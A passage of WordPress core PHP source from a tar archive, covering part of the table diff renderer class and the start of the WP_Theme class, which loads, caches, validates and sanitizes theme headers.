} if ( $this->_show_split_view ) { $r .= '<tr>' . $this->emptyLine() . $this->addedLine( $line ) . "</tr>\n"; } else { $r .= '<tr>' . $this->addedLine( $line ) . "</tr>\n"; } } return $r; } /** * @ignore * * @param array $lines * @param bool $encode * @return string */ public function _deleted( $lines, $encode = true ) { $r = ''; foreach ( $lines as $line ) { if ( $encode ) { $processed_line = htmlspecialchars( $line ); /** This filter is documented in wp-includes/wp-diff.php */ $line = apply_filters( 'process_text_diff_html', $processed_line, $line, 'deleted' ); } if ( $this->_show_split_view ) { $r .= '<tr>' . $this->deletedLine( $line ) . $this->emptyLine() . "</tr>\n"; } else { $r .= '<tr>' . $this->deletedLine( $line ) . "</tr>\n"; } } return $r; } /** * @ignore * * @param array $lines * @param bool $encode * @return string */ public function _context( $lines, $encode = true ) { $r = ''; foreach ( $lines as $line ) { if ( $encode ) { $processed_line = htmlspecialchars( $line ); /** This filter is documented in wp-includes/wp-diff.php */ $line = apply_filters( 'process_text_diff_html', $processed_line, $line, 'unchanged' ); } if ( $this->_show_split_view ) { $r .= '<tr>' . $this->contextLine( $line ) . $this->contextLine( $line ) . "</tr>\n"; } else { $r .= '<tr>' . $this->contextLine( $line ) . "</tr>\n"; } } return $r; } /** * Process changed lines to do word-by-word diffs for extra highlighting. * * (TRAC style) sometimes these lines can actually be deleted or added rows. * We do additional processing to figure that out * * @since 2.6.0 * * @param array $orig * @param array $final * @return string */ public function _changed( $orig, $final ) { $r = ''; /* * Does the aforementioned additional processing: * *_matches tell what rows are "the same" in orig and final. Those pairs will be diffed to get word changes. * - match is numeric: an index in other column. * - match is 'X': no match. It is a new row. * *_rows are column vectors for the orig column and the final column. * - row >= 0: an indix of the $orig or $final array. * - row < 0: a blank row for that column. */ list($orig_matches, $final_matches, $orig_rows, $final_rows) = $this->interleave_changed_lines( $orig, $final ); // These will hold the word changes as determined by an inline diff. $orig_diffs = array(); $final_diffs = array(); // Compute word diffs for each matched pair using the inline diff. foreach ( $orig_matches as $o => $f ) { if ( is_numeric( $o ) && is_numeric( $f ) ) { $text_diff = new Text_Diff( 'auto', array( array( $orig[ $o ] ), array( $final[ $f ] ) ) ); $renderer = new $this->inline_diff_renderer; $diff = $renderer->render( $text_diff ); // If they're too different, don't include any <ins> or <del>'s. if ( preg_match_all( '!(<ins>.*?</ins>|<del>.*?</del>)!', $diff, $diff_matches ) ) { // Length of all text between <ins> or <del>. $stripped_matches = strlen( strip_tags( implode( ' ', $diff_matches[0] ) ) ); // Since we count length of text between <ins> or <del> (instead of picking just one), // we double the length of chars not in those tags. $stripped_diff = strlen( strip_tags( $diff ) ) * 2 - $stripped_matches; $diff_ratio = $stripped_matches / $stripped_diff; if ( $diff_ratio > $this->_diff_threshold ) { continue; // Too different. Don't save diffs. } } // Un-inline the diffs by removing <del> or <ins>. $orig_diffs[ $o ] = preg_replace( '|<ins>.*?</ins>|', '', $diff ); $final_diffs[ $f ] = preg_replace( '|<del>.*?</del>|', '', $diff ); } } foreach ( array_keys( $orig_rows ) as $row ) { // Both columns have blanks. Ignore them. if ( $orig_rows[ $row ] < 0 && $final_rows[ $row ] < 0 ) { continue; } // If we have a word based diff, use it. Otherwise, use the normal line. if ( isset( $orig_diffs[ $orig_rows[ $row ] ] ) ) { $orig_line = $orig_diffs[ $orig_rows[ $row ] ]; } elseif ( isset( $orig[ $orig_rows[ $row ] ] ) ) { $orig_line = htmlspecialchars( $orig[ $orig_rows[ $row ] ] ); } else { $orig_line = ''; } if ( isset( $final_diffs[ $final_rows[ $row ] ] ) ) { $final_line = $final_diffs[ $final_rows[ $row ] ]; } elseif ( isset( $final[ $final_rows[ $row ] ] ) ) { $final_line = htmlspecialchars( $final[ $final_rows[ $row ] ] ); } else { $final_line = ''; } if ( $orig_rows[ $row ] < 0 ) { // Orig is blank. This is really an added row. $r .= $this->_added( array( $final_line ), false ); } elseif ( $final_rows[ $row ] < 0 ) { // Final is blank. This is really a deleted row. $r .= $this->_deleted( array( $orig_line ), false ); } else { // A true changed row. if ( $this->_show_split_view ) { $r .= '<tr>' . $this->deletedLine( $orig_line ) . $this->addedLine( $final_line ) . "</tr>\n"; } else { $r .= '<tr>' . $this->deletedLine( $orig_line ) . '</tr><tr>' . $this->addedLine( $final_line ) . "</tr>\n"; } } } return $r; } /** * Takes changed blocks and matches which rows in orig turned into which rows in final. * * @since 2.6.0 * * @param array $orig Lines of the original version of the text. * @param array $final Lines of the final version of the text. * @return array { * Array containing results of comparing the original text to the final text. * * @type array $orig_matches Associative array of original matches. Index == row * number of `$orig`, value == corresponding row number * of that same line in `$final` or 'x' if there is no * corresponding row (indicating it is a deleted line). * @type array $final_matches Associative array of final matches. Index == row * number of `$final`, value == corresponding row number * of that same line in `$orig` or 'x' if there is no * corresponding row (indicating it is a new line). * @type array $orig_rows Associative array of interleaved rows of `$orig` with * blanks to keep matches aligned with side-by-side diff * of `$final`. A value >= 0 corresponds to index of `$orig`. * Value < 0 indicates a blank row. * @type array $final_rows Associative array of interleaved rows of `$final` with * blanks to keep matches aligned with side-by-side diff * of `$orig`. A value >= 0 corresponds to index of `$final`. * Value < 0 indicates a blank row. * } */ public function interleave_changed_lines( $orig, $final ) { // Contains all pairwise string comparisons. Keys are such that this need only be a one dimensional array. $matches = array(); foreach ( array_keys( $orig ) as $o ) { foreach ( array_keys( $final ) as $f ) { $matches[ "$o,$f" ] = $this->compute_string_distance( $orig[ $o ], $final[ $f ] ); } } asort( $matches ); // Order by string distance. $orig_matches = array(); $final_matches = array(); foreach ( $matches as $keys => $difference ) { list($o, $f) = explode( ',', $keys ); $o = (int) $o; $f = (int) $f; // Already have better matches for these guys. if ( isset( $orig_matches[ $o ] ) && isset( $final_matches[ $f ] ) ) { continue; } // First match for these guys. Must be best match. if ( ! isset( $orig_matches[ $o ] ) && ! isset( $final_matches[ $f ] ) ) { $orig_matches[ $o ] = $f; $final_matches[ $f ] = $o; continue; } // Best match of this final is already taken? Must mean this final is a new row. if ( isset( $orig_matches[ $o ] ) ) { $final_matches[ $f ] = 'x'; } elseif ( isset( $final_matches[ $f ] ) ) { // Best match of this orig is already taken? Must mean this orig is a deleted row. $orig_matches[ $o ] = 'x'; } } // We read the text in this order. ksort( $orig_matches ); ksort( $final_matches ); // Stores rows and blanks for each column. $orig_rows = array_keys( $orig_matches ); $orig_rows_copy = $orig_rows; $final_rows = array_keys( $final_matches ); // Interleaves rows with blanks to keep matches aligned. // We may end up with some extraneous blank rows, but we'll just ignore them later. foreach ( $orig_rows_copy as $orig_row ) { $final_pos = array_search( $orig_matches[ $orig_row ], $final_rows, true ); $orig_pos = (int) array_search( $orig_row, $orig_rows, true ); if ( false === $final_pos ) { // This orig is paired with a blank final. array_splice( $final_rows, $orig_pos, 0, -1 ); } elseif ( $final_pos < $orig_pos ) { // This orig's match is up a ways. Pad final with blank rows. $diff_array = range( -1, $final_pos - $orig_pos ); array_splice( $final_rows, $orig_pos, 0, $diff_array ); } elseif ( $final_pos > $orig_pos ) { // This orig's match is down a ways. Pad orig with blank rows. $diff_array = range( -1, $orig_pos - $final_pos ); array_splice( $orig_rows, $orig_pos, 0, $diff_array ); } } // Pad the ends with blank rows if the columns aren't the same length. $diff_count = count( $orig_rows ) - count( $final_rows ); if ( $diff_count < 0 ) { while ( $diff_count < 0 ) { array_push( $orig_rows, $diff_count++ ); } } elseif ( $diff_count > 0 ) { $diff_count = -1 * $diff_count; while ( $diff_count < 0 ) { array_push( $final_rows, $diff_count++ ); } } return array( $orig_matches, $final_matches, $orig_rows, $final_rows ); } /** * Computes a number that is intended to reflect the "distance" between two strings. * * @since 2.6.0 * * @param string $string1 * @param string $string2 * @return int */ public function compute_string_distance( $string1, $string2 ) { // Use an md5 hash of the strings for a count cache, as it's fast to generate, and collisions aren't a concern. $count_key1 = md5( $string1 ); $count_key2 = md5( $string2 ); // Cache vectors containing character frequency for all chars in each string. if ( ! isset( $this->count_cache[ $count_key1 ] ) ) { $this->count_cache[ $count_key1 ] = count_chars( $string1 ); } if ( ! isset( $this->count_cache[ $count_key2 ] ) ) { $this->count_cache[ $count_key2 ] = count_chars( $string2 ); } $chars1 = $this->count_cache[ $count_key1 ]; $chars2 = $this->count_cache[ $count_key2 ]; $difference_key = md5( implode( ',', $chars1 ) . ':' . implode( ',', $chars2 ) ); if ( ! isset( $this->difference_cache[ $difference_key ] ) ) { // L1-norm of difference vector. $this->difference_cache[ $difference_key ] = array_sum( array_map( array( $this, 'difference' ), $chars1, $chars2 ) ); } $difference = $this->difference_cache[ $difference_key ]; // $string1 has zero length? Odd. Give huge penalty by not dividing. if ( ! $string1 ) { return $difference; } // Return distance per character (of string1). return $difference / strlen( $string1 ); } /** * @ignore * @since 2.6.0 * * @param int $a * @param int $b * @return int */ public function difference( $a, $b ) { return abs( $a - $b ); } /** * Make private properties readable for backward compatibility. * * @since 4.0.0 * * @param string $name Property to get. * @return mixed Property. */ public function __get( $name ) { if ( in_array( $name, $this->compat_fields, true ) ) { return $this->$name; } } /** * Make private properties settable for backward compatibility. * * @since 4.0.0 * * @param string $name Property to check if set. * @param mixed $value Property value. * @return mixed Newly-set property. */ public function __set( $name, $value ) { if ( in_array( $name, $this->compat_fields, true ) ) { return $this->$name = $value; } } /** * Make private properties checkable for backward compatibility. * * @since 4.0.0 * * @param string $name Property to check if set. * @return bool Whether the property is set. */ public function __isset( $name ) { if ( in_array( $name, $this->compat_fields, true ) ) { return isset( $this->$name ); } } /** * Make private properties un-settable for backward compatibility. * * @since 4.0.0 * * @param string $name Property to unset. */ public function __unset( $name ) { if ( in_array( $name, $this->compat_fields, true ) ) { unset( $this->$name ); } } } �����������������������������������������������������������������������������������������������������class-wp-theme.php����������������������������������������������������������������������������������0000644�����������������00000143112�15120262030�0010077 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * WP_Theme Class * * @package WordPress * @subpackage Theme * @since 3.4.0 */ final class WP_Theme implements ArrayAccess { /** * Whether the theme has been marked as updateable. * * @since 4.4.0 * @var bool * * @see WP_MS_Themes_List_Table */ public $update = false; /** * Headers for style.css files. * * @since 3.4.0 * @since 5.4.0 Added `Requires at least` and `Requires PHP` headers. * @var array */ private static $file_headers = array( 'Name' => 'Theme Name', 'ThemeURI' => 'Theme URI', 'Description' => 'Description', 'Author' => 'Author', 'AuthorURI' => 'Author URI', 'Version' => 'Version', 'Template' => 'Template', 'Status' => 'Status', 'Tags' => 'Tags', 'TextDomain' => 'Text Domain', 'DomainPath' => 'Domain Path', 'RequiresWP' => 'Requires at least', 'RequiresPHP' => 'Requires PHP', ); /** * Default themes. * * @var array */ private static $default_themes = array( 'classic' => 'WordPress Classic', 'default' => 'WordPress Default', 'twentyten' => 'Twenty Ten', 'twentyeleven' => 'Twenty Eleven', 'twentytwelve' => 'Twenty Twelve', 'twentythirteen' => 'Twenty Thirteen', 'twentyfourteen' => 'Twenty Fourteen', 'twentyfifteen' => 'Twenty Fifteen', 'twentysixteen' => 'Twenty Sixteen', 'twentyseventeen' => 'Twenty Seventeen', 'twentynineteen' => 'Twenty Nineteen', 'twentytwenty' => 'Twenty Twenty', 'twentytwentyone' => 'Twenty Twenty-One', ); /** * Renamed theme tags. * * @var array */ private static $tag_map = array( 'fixed-width' => 'fixed-layout', 'flexible-width' => 'fluid-layout', ); /** * Absolute path to the theme root, usually wp-content/themes * * @var string */ private $theme_root; /** * Header data from the theme's style.css file. * * @var array */ private $headers = array(); /** * Header data from the theme's style.css file after being sanitized. * * @var array */ private $headers_sanitized; /** * Header name from the theme's style.css after being translated. * * Cached due to sorting functions running over the translated name. * * @var string */ private $name_translated; /** * Errors encountered when initializing the theme. * * @var WP_Error */ private $errors; /** * The directory name of the theme's files, inside the theme root. * * In the case of a child theme, this is directory name of the child theme. * Otherwise, 'stylesheet' is the same as 'template'. * * @var string */ private $stylesheet; /** * The directory name of the theme's files, inside the theme root. * * In the case of a child theme, this is the directory name of the parent theme. * Otherwise, 'template' is the same as 'stylesheet'. * * @var string */ private $template; /** * A reference to the parent theme, in the case of a child theme. * * @var WP_Theme */ private $parent; /** * URL to the theme root, usually an absolute URL to wp-content/themes * * @var string */ private $theme_root_uri; /** * Flag for whether the theme's textdomain is loaded. * * @var bool */ private $textdomain_loaded; /** * Stores an md5 hash of the theme root, to function as the cache key. * * @var string */ private $cache_hash; /** * Flag for whether the themes cache bucket should be persistently cached. * * Default is false. Can be set with the {@see 'wp_cache_themes_persistently'} filter. * * @var bool */ private static $persistently_cache; /** * Expiration time for the themes cache bucket. * * By default the bucket is not cached, so this value is useless. * * @var bool */ private static $cache_expiration = 1800; /** * Constructor for WP_Theme. * * @since 3.4.0 * * @global array $wp_theme_directories * * @param string $theme_dir Directory of the theme within the theme_root. * @param string $theme_root Theme root. * @param WP_Theme|null $_child If this theme is a parent theme, the child may be passed for validation purposes. */ public function __construct( $theme_dir, $theme_root, $_child = null ) { global $wp_theme_directories; // Initialize caching on first run. if ( ! isset( self::$persistently_cache ) ) { /** This action is documented in wp-includes/theme.php */ self::$persistently_cache = apply_filters( 'wp_cache_themes_persistently', false, 'WP_Theme' ); if ( self::$persistently_cache ) { wp_cache_add_global_groups( 'themes' ); if ( is_int( self::$persistently_cache ) ) { self::$cache_expiration = self::$persistently_cache; } } else { wp_cache_add_non_persistent_groups( 'themes' ); } } $this->theme_root = $theme_root; $this->stylesheet = $theme_dir; // Correct a situation where the theme is 'some-directory/some-theme' but 'some-directory' was passed in as part of the theme root instead. if ( ! in_array( $theme_root, (array) $wp_theme_directories, true ) && in_array( dirname( $theme_root ), (array) $wp_theme_directories, true ) ) { $this->stylesheet = basename( $this->theme_root ) . '/' . $this->stylesheet; $this->theme_root = dirname( $theme_root ); } $this->cache_hash = md5( $this->theme_root . '/' . $this->stylesheet ); $theme_file = $this->stylesheet . '/style.css'; $cache = $this->cache_get( 'theme' ); if ( is_array( $cache ) ) { foreach ( array( 'errors', 'headers', 'template' ) as $key ) { if ( isset( $cache[ $key ] ) ) { $this->$key = $cache[ $key ]; } } if ( $this->errors ) { return; } if ( isset( $cache['theme_root_template'] ) ) { $theme_root_template = $cache['theme_root_template']; } } elseif ( ! file_exists( $this->theme_root . '/' . $theme_file ) ) { $this->headers['Name'] = $this->stylesheet; if ( ! file_exists( $this->theme_root . '/' . $this->stylesheet ) ) { $this->errors = new WP_Error( 'theme_not_found', sprintf( /* translators: %s: Theme directory name. */ __( 'The theme directory "%s" does not exist.' ), esc_html( $this->stylesheet ) ) ); } else { $this->errors = new WP_Error( 'theme_no_stylesheet', __( 'Stylesheet is missing.' ) ); } $this->template = $this->stylesheet; $this->cache_add( 'theme', array( 'headers' => $this->headers, 'errors' => $this->errors, 'stylesheet' => $this->stylesheet, 'template' => $this->template, ) ); if ( ! file_exists( $this->theme_root ) ) { // Don't cache this one. $this->errors->add( 'theme_root_missing', __( 'Error: The themes directory is either empty or doesn’t exist. Please check your installation.' ) ); } return; } elseif ( ! is_readable( $this->theme_root . '/' . $theme_file ) ) { $this->headers['Name'] = $this->stylesheet; $this->errors = new WP_Error( 'theme_stylesheet_not_readable', __( 'Stylesheet is not readable.' ) ); $this->template = $this->stylesheet; $this->cache_add( 'theme', array( 'headers' => $this->headers, 'errors' => $this->errors, 'stylesheet' => $this->stylesheet, 'template' => $this->template, ) ); return; } else { $this->headers = get_file_data( $this->theme_root . '/' . $theme_file, self::$file_headers, 'theme' ); // Default themes always trump their pretenders. // Properly identify default themes that are inside a directory within wp-content/themes. $default_theme_slug = array_search( $this->headers['Name'], self::$default_themes, true ); if ( $default_theme_slug ) { if ( basename( $this->stylesheet ) != $default_theme_slug ) { $this->headers['Name'] .= '/' . $this->stylesheet; } } } if ( ! $this->template && $this->stylesheet === $this->headers['Template'] ) { $this->errors = new WP_Error( 'theme_child_invalid', sprintf( /* translators: %s: Template. */ __( 'The theme defines itself as its parent theme. Please check the %s header.' ), '<code>Template</code>' ) ); $this->cache_add( 'theme', array( 'headers' => $this->headers, 'errors' => $this->errors, 'stylesheet' => $this->stylesheet, ) ); return; } // (If template is set from cache [and there are no errors], we know it's good.) if ( ! $this->template ) { $this->template = $this->headers['Template']; } if ( ! $this->template ) { $this->template = $this->stylesheet; if ( ! file_exists( $this->theme_root . '/' . $this->stylesheet . '/index.php' ) ) { $error_message = sprintf( /* translators: 1: index.php, 2: Documentation URL, 3: style.css */ __( 'Template is missing. Standalone themes need to have a %1$s template file. <a href="%2$s">Child themes</a> need to have a Template header in the %3$s stylesheet.' ), '<code>index.php</code>', __( 'https://developer.wordpress.org/themes/advanced-topics/child-themes/' ), '<code>style.css</code>' ); $this->errors = new WP_Error( 'theme_no_index', $error_message ); $this->cache_add( 'theme', array( 'headers' => $this->headers, 'errors' => $this->errors, 'stylesheet' => $this->stylesheet, 'template' => $this->template, ) ); return; } } // If we got our data from cache, we can assume that 'template' is pointing to the right place. if ( ! is_array( $cache ) && $this->template != $this->stylesheet && ! file_exists( $this->theme_root . '/' . $this->template . '/index.php' ) ) { // If we're in a directory of themes inside /themes, look for the parent nearby. // wp-content/themes/directory-of-themes/* $parent_dir = dirname( $this->stylesheet ); $directories = search_theme_directories(); if ( '.' !== $parent_dir && file_exists( $this->theme_root . '/' . $parent_dir . '/' . $this->template . '/index.php' ) ) { $this->template = $parent_dir . '/' . $this->template; } elseif ( $directories && isset( $directories[ $this->template ] ) ) { // Look for the template in the search_theme_directories() results, in case it is in another theme root. // We don't look into directories of themes, just the theme root. $theme_root_template = $directories[ $this->template ]['theme_root']; } else { // Parent theme is missing. $this->errors = new WP_Error( 'theme_no_parent', sprintf( /* translators: %s: Theme directory name. */ __( 'The parent theme is missing. Please install the "%s" parent theme.' ), esc_html( $this->template ) ) ); $this->cache_add( 'theme', array( 'headers' => $this->headers, 'errors' => $this->errors, 'stylesheet' => $this->stylesheet, 'template' => $this->template, ) ); $this->parent = new WP_Theme( $this->template, $this->theme_root, $this ); return; } } // Set the parent, if we're a child theme. if ( $this->template != $this->stylesheet ) { // If we are a parent, then there is a problem. Only two generations allowed! Cancel things out. if ( $_child instanceof WP_Theme && $_child->template == $this->stylesheet ) { $_child->parent = null; $_child->errors = new WP_Error( 'theme_parent_invalid', sprintf( /* translators: %s: Theme directory name. */ __( 'The "%s" theme is not a valid parent theme.' ), esc_html( $_child->template ) ) ); $_child->cache_add( 'theme', array( 'headers' => $_child->headers, 'errors' => $_child->errors, 'stylesheet' => $_child->stylesheet, 'template' => $_child->template, ) ); // The two themes actually reference each other with the Template header. if ( $_child->stylesheet == $this->template ) { $this->errors = new WP_Error( 'theme_parent_invalid', sprintf( /* translators: %s: Theme directory name. */ __( 'The "%s" theme is not a valid parent theme.' ), esc_html( $this->template ) ) ); $this->cache_add( 'theme', array( 'headers' => $this->headers, 'errors' => $this->errors, 'stylesheet' => $this->stylesheet, 'template' => $this->template, ) ); } return; } // Set the parent. Pass the current instance so we can do the crazy checks above and assess errors. $this->parent = new WP_Theme( $this->template, isset( $theme_root_template ) ? $theme_root_template : $this->theme_root, $this ); } if ( wp_paused_themes()->get( $this->stylesheet ) && ( ! is_wp_error( $this->errors ) || ! isset( $this->errors->errors['theme_paused'] ) ) ) { $this->errors = new WP_Error( 'theme_paused', __( 'This theme failed to load properly and was paused within the admin backend.' ) ); } // We're good. If we didn't retrieve from cache, set it. if ( ! is_array( $cache ) ) { $cache = array( 'headers' => $this->headers, 'errors' => $this->errors, 'stylesheet' => $this->stylesheet, 'template' => $this->template, ); // If the parent theme is in another root, we'll want to cache this. Avoids an entire branch of filesystem calls above. if ( isset( $theme_root_template ) ) { $cache['theme_root_template'] = $theme_root_template; } $this->cache_add( 'theme', $cache ); } } /** * When converting the object to a string, the theme name is returned. * * @since 3.4.0 * * @return string Theme name, ready for display (translated) */ public function __toString() { return (string) $this->display( 'Name' ); } /** * __isset() magic method for properties formerly returned by current_theme_info() * * @since 3.4.0 * * @param string $offset Property to check if set. * @return bool Whether the given property is set. */ public function __isset( $offset ) { static $properties = array( 'name', 'title', 'version', 'parent_theme', 'template_dir', 'stylesheet_dir', 'template', 'stylesheet', 'screenshot', 'description', 'author', 'tags', 'theme_root', 'theme_root_uri', ); return in_array( $offset, $properties, true ); } /** * __get() magic method for properties formerly returned by current_theme_info() * * @since 3.4.0 * * @param string $offset Property to get. * @return mixed Property value. */ public function __get( $offset ) { switch ( $offset ) { case 'name': case 'title': return $this->get( 'Name' ); case 'version': return $this->get( 'Version' ); case 'parent_theme': return $this->parent() ? $this->parent()->get( 'Name' ) : ''; case 'template_dir': return $this->get_template_directory(); case 'stylesheet_dir': return $this->get_stylesheet_directory(); case 'template': return $this->get_template(); case 'stylesheet': return $this->get_stylesheet(); case 'screenshot': return $this->get_screenshot( 'relative' ); // 'author' and 'description' did not previously return translated data. case 'description': return $this->display( 'Description' ); case 'author': return $this->display( 'Author' ); case 'tags': return $this->get( 'Tags' ); case 'theme_root': return $this->get_theme_root(); case 'theme_root_uri': return $this->get_theme_root_uri(); // For cases where the array was converted to an object. default: return $this->offsetGet( $offset ); } } /** * Method to implement ArrayAccess for keys formerly returned by get_themes() * * @since 3.4.0 * * @param mixed $offset * @param mixed $value */ public function offsetSet( $offset, $value ) {} /** * Method to implement ArrayAccess for keys formerly returned by get_themes() * * @since 3.4.0 * * @param mixed $offset */ public function offsetUnset( $offset ) {} /** * Method to implement ArrayAccess for keys formerly returned by get_themes() * * @since 3.4.0 * * @param mixed $offset * @return bool */ public function offsetExists( $offset ) { static $keys = array( 'Name', 'Version', 'Status', 'Title', 'Author', 'Author Name', 'Author URI', 'Description', 'Template', 'Stylesheet', 'Template Files', 'Stylesheet Files', 'Template Dir', 'Stylesheet Dir', 'Screenshot', 'Tags', 'Theme Root', 'Theme Root URI', 'Parent Theme', ); return in_array( $offset, $keys, true ); } /** * Method to implement ArrayAccess for keys formerly returned by get_themes(). * * Author, Author Name, Author URI, and Description did not previously return * translated data. We are doing so now as it is safe to do. However, as * Name and Title could have been used as the key for get_themes(), both remain * untranslated for back compatibility. This means that ['Name'] is not ideal, * and care should be taken to use `$theme::display( 'Name' )` to get a properly * translated header. * * @since 3.4.0 * * @param mixed $offset * @return mixed */ public function offsetGet( $offset ) { switch ( $offset ) { case 'Name': case 'Title': /* * See note above about using translated data. get() is not ideal. * It is only for backward compatibility. Use display(). */ return $this->get( 'Name' ); case 'Author': return $this->display( 'Author' ); case 'Author Name': return $this->display( 'Author', false ); case 'Author URI': return $this->display( 'AuthorURI' ); case 'Description': return $this->display( 'Description' ); case 'Version': case 'Status': return $this->get( $offset ); case 'Template': return $this->get_template(); case 'Stylesheet': return $this->get_stylesheet(); case 'Template Files': return $this->get_files( 'php', 1, true ); case 'Stylesheet Files': return $this->get_files( 'css', 0, false ); case 'Template Dir': return $this->get_template_directory(); case 'Stylesheet Dir': return $this->get_stylesheet_directory(); case 'Screenshot': return $this->get_screenshot( 'relative' ); case 'Tags': return $this->get( 'Tags' ); case 'Theme Root': return $this->get_theme_root(); case 'Theme Root URI': return $this->get_theme_root_uri(); case 'Parent Theme': return $this->parent() ? $this->parent()->get( 'Name' ) : ''; default: return null; } } /** * Returns errors property. * * @since 3.4.0 * * @return WP_Error|false WP_Error if there are errors, or false. */ public function errors() { return is_wp_error( $this->errors ) ? $this->errors : false; } /** * Whether the theme exists. * * A theme with errors exists. A theme with the error of 'theme_not_found', * meaning that the theme's directory was not found, does not exist. * * @since 3.4.0 * * @return bool Whether the theme exists. */ public function exists() { return ! ( $this->errors() && in_array( 'theme_not_found', $this->errors()->get_error_codes(), true ) ); } /** * Returns reference to the parent theme. * * @since 3.4.0 * * @return WP_Theme|false Parent theme, or false if the current theme is not a child theme. */ public function parent() { return isset( $this->parent ) ? $this->parent : false; } /** * Adds theme data to cache. * * Cache entries keyed by the theme and the type of data. * * @since 3.4.0 * * @param string $key Type of data to store (theme, screenshot, headers, post_templates) * @param array|string $data Data to store * @return bool Return value from wp_cache_add() */ private function cache_add( $key, $data ) { return wp_cache_add( $key . '-' . $this->cache_hash, $data, 'themes', self::$cache_expiration ); } /** * Gets theme data from cache. * * Cache entries are keyed by the theme and the type of data. * * @since 3.4.0 * * @param string $key Type of data to retrieve (theme, screenshot, headers, post_templates) * @return mixed Retrieved data */ private function cache_get( $key ) { return wp_cache_get( $key . '-' . $this->cache_hash, 'themes' ); } /** * Clears the cache for the theme. * * @since 3.4.0 */ public function cache_delete() { foreach ( array( 'theme', 'screenshot', 'headers', 'post_templates' ) as $key ) { wp_cache_delete( $key . '-' . $this->cache_hash, 'themes' ); } $this->template = null; $this->textdomain_loaded = null; $this->theme_root_uri = null; $this->parent = null; $this->errors = null; $this->headers_sanitized = null; $this->name_translated = null; $this->headers = array(); $this->__construct( $this->stylesheet, $this->theme_root ); } /** * Get a raw, unformatted theme header. * * The header is sanitized, but is not translated, and is not marked up for display. * To get a theme header for display, use the display() method. * * Use the get_template() method, not the 'Template' header, for finding the template. * The 'Template' header is only good for what was written in the style.css, while * get_template() takes into account where WordPress actually located the theme and * whether it is actually valid. * * @since 3.4.0 * * @param string $header Theme header. Name, Description, Author, Version, ThemeURI, AuthorURI, Status, Tags. * @return string|array|false String or array (for Tags header) on success, false on failure. */ public function get( $header ) { if ( ! isset( $this->headers[ $header ] ) ) { return false; } if ( ! isset( $this->headers_sanitized ) ) { $this->headers_sanitized = $this->cache_get( 'headers' ); if ( ! is_array( $this->headers_sanitized ) ) { $this->headers_sanitized = array(); } } if ( isset( $this->headers_sanitized[ $header ] ) ) { return $this->headers_sanitized[ $header ]; } // If themes are a persistent group, sanitize everything and cache it. One cache add is better than many cache sets. if ( self::$persistently_cache ) { foreach ( array_keys( $this->headers ) as $_header ) { $this->headers_sanitized[ $_header ] = $this->sanitize_header( $_header, $this->headers[ $_header ] ); } $this->cache_add( 'headers', $this->headers_sanitized ); } else { $this->headers_sanitized[ $header ] = $this->sanitize_header( $header, $this->headers[ $header ] ); } return $this->headers_sanitized[ $header ]; } /** * Gets a theme header, formatted and translated for display. * * @since 3.4.0 * * @param string $header Theme header. Name, Description, Author, Version, ThemeURI, AuthorURI, Status, Tags. * @param bool $markup Optional. Whether to mark up the header. Defaults to true. * @param bool $translate Optional. Whether to translate the header. Defaults to true. * @return string|array|false Processed header. An array for Tags if `$markup` is false, string otherwise. * False on failure. */ public function display( $header, $markup = true, $translate = true ) { $value = $this->get( $header ); if ( false === $value ) { return false; } if ( $translate && ( empty( $value ) || ! $this->load_textdomain() ) ) { $translate = false; } if ( $translate ) { $value = $this->translate_header( $header, $value ); } if ( $markup ) { $value = $this->markup_header( $header, $value, $translate ); } return $value; } /** * Sanitize a theme header. * * @since 3.4.0 * @since 5.4.0 Added support for `Requires at least` and `Requires PHP` headers. * * @param string $header Theme header. Accepts 'Name', 'Description', 'Author', 'Version', * 'ThemeURI', 'AuthorURI', 'Status', 'Tags', 'RequiresWP', 'RequiresPHP'. * @param string $value Value to sanitize. * @return string|array An array for Tags header, string otherwise. */ private function sanitize_header( $header, $value ) { switch ( $header ) { case 'Status': if ( ! $value ) { $value = 'publish'; break; } // Fall through otherwise. case 'Name': static $header_tags = array( 'abbr' => array( 'title' => true ), 'acronym' => array( 'title' => true ), 'code' => true, 'em' => true, 'strong' => true, ); $value = wp_kses( $value, $header_tags ); break; case 'Author': // There shouldn't be anchor tags in Author, but some themes like to be challenging. case 'Description': static $header_tags_with_a = array( 'a' => array( 'href' => true, 'title' => true, ), 'abbr' => array( 'title' => true ), 'acronym' => array( 'title' => true ), 'code' => true, 'em' => true, 'strong' => true, ); $value = wp_kses( $value, $header_tags_with_a ); break; case 'ThemeURI': case 'AuthorURI': $value = esc_url_raw( $value ); break; case 'Tags': $value = array_filter( array_map( 'trim', explode( ',', strip_tags( $value ) ) ) ); break; case 'Version': case 'RequiresWP': case 'RequiresPHP': $value = strip_tags( $value ); break; } return $value; } /** * Mark up a theme header. * * @since 3.4.0 * * @param string $header Theme header. Name, Description, Author, Version, ThemeURI, AuthorURI, Status, Tags. * @param string|array $value Value to mark up. An array for Tags header, string otherwise. * @param string $translate Whether the header has been translated. * @return string Value, marked up. */ private function markup_header( $header, $value, $translate ) { switch ( $header ) { case 'Name': if ( empty( $value ) ) { $value = esc_html( $this->get_stylesheet() ); } break; case 'Description': $value = wptexturize( $value ); break; case 'Author': if ( $this->get( 'AuthorURI' ) ) { $value = sprintf( '<a href="%1$s">%2$s</a>', $this->display( 'AuthorURI', true, $translate ), $value ); } elseif ( ! $value ) { $value = __( 'Anonymous' ); } break; case 'Tags': static $comma = null; if ( ! isset( $comma ) ) { /* translators: Used between list items, there is a space after the comma. */ $comma = __( ', ' ); } $value = implode( $comma, $value ); break; case 'ThemeURI': case 'AuthorURI': $value = esc_url( $value ); break; } return $value; } /** * Translate a theme header. * * @since 3.4.0 * * @param string $header Theme header. Name, Description, Author, Version, ThemeURI, AuthorURI, Status, Tags. * @param string|array $value Value to translate. An array for Tags header, string otherwise. * @return string|array Translated value. An array for Tags header, string otherwise. */ private function translate_header( $header, $value ) { switch ( $header ) { case 'Name': // Cached for sorting reasons. if ( isset( $this->name_translated ) ) { return $this->name_translated; } // phpcs:ignore WordPress.WP.I18n.LowLevelTranslationFunction,WordPress.WP.I18n.NonSingularStringLiteralText,WordPress.WP.I18n.NonSingularStringLiteralDomain $this->name_translated = translate( $value, $this->get( 'TextDomain' ) ); return $this->name_translated; case 'Tags': if ( empty( $value ) || ! function_exists( 'get_theme_feature_list' ) ) { return $value; } static $tags_list; if ( ! isset( $tags_list ) ) { $tags_list = array( // As of 4.6, deprecated tags which are only used to provide translation for older themes. 'black' => __( 'Black' ), 'blue' => __( 'Blue' ), 'brown' => __( 'Brown' ), 